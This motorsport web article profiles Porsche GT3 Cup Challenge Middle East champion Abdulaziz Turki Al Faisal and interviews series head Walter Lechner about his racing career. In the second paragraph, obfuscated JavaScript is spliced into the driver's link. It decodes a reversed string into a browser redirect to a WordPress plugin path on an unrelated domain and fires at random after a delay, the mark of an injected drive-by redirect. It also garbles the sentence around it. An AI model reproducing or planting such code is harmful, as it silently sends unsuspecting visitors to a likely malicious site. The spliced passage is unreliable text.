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His first championship victory had been a hard fought affair, with four drivers still mathematically in with a shout at the final event of the season, each of whom had tasted race victory during a season some were hailing the best ever. The following though was a different story, the reigning Champ scything his way to his second title in dominant fashion, and with several races to spare.
No, not Sebastien Vettel. And not Red Bull Racing either. True, Germany and Austria play their respective roles in this case, but the Champion in question is Saudi Falcons’ own $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abdulaziz-turki-alfaisal-le-mans-you-can-never-predict/” target=”_blank”>Abdulaziz Turki Al Faisal, who back in March secured his second Porsche GT3 Cup Challenge Middle East title with two rounds to spare.
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Porsche takes care of the German side of things, sure. But Austria? For a Saudi Arabian driver in a one-make Middle Eastern motor racing series? Yep. And it comes in the shape of the Head of the Porsche GT3 Cup Challenge Middle East Walter Lechner.
“My main responsibility is to ensure that the Porsche GT3 Cup Challenge Middle East runs smoothly and successfully,” Walter confirms to crankandpiston. “Everything stops at me.”
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Pressuring certainly, but four decades spent competing in motorsport (a sizeable chunk of which was with Porsche at the Le Mans 24Hrs) have taught the man a lot about dealing with ‘pressure’, especially considering the wealth of machinery he’s experienced in his time.
“Motor racing has been my life for more than 35 years”, says Walter. “I was first attracted to the sport by the achievements of [posthumous 1970 Formula One World Champion] Jochen Rindt, the German driver who represented my country, Austria, throughout his career. I will always look back at him as the man who inspired me to start racing.
“My first racing highlight was winning the European Formula Ford Championship back in 1979. Three years later I won the Formula Vee European Championship. From then on I was a professional racing driver and had many race wins and captured the Interserie Sportscar European titles six times. Racing the famous Porsche 956 and 962 Group C sportscars was the highlight of my career.”
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Walter would eventually retire from the cockpit in 1996, but since then has gone on to establish the Lechner Racing School – a foothold for talented young drivers keen to climb the motorsport ladder – and Lechner Racing, his own eponymous racing team. The team’s success in the Porsche Supercup Series in 2003 though inspired a new step in Walter’s career.
“Running teams in the Supercup made me think about creating a series in the Middle East. It took several years of planning, but with the backing of Porsche Motorsport and Porsche Middle East and Africa we got the series up and running, and it’s very much here to stay. I only see it going from strength to strength. We have set very high standards, and that’s why the series has become so popular and gained so much recognition.”
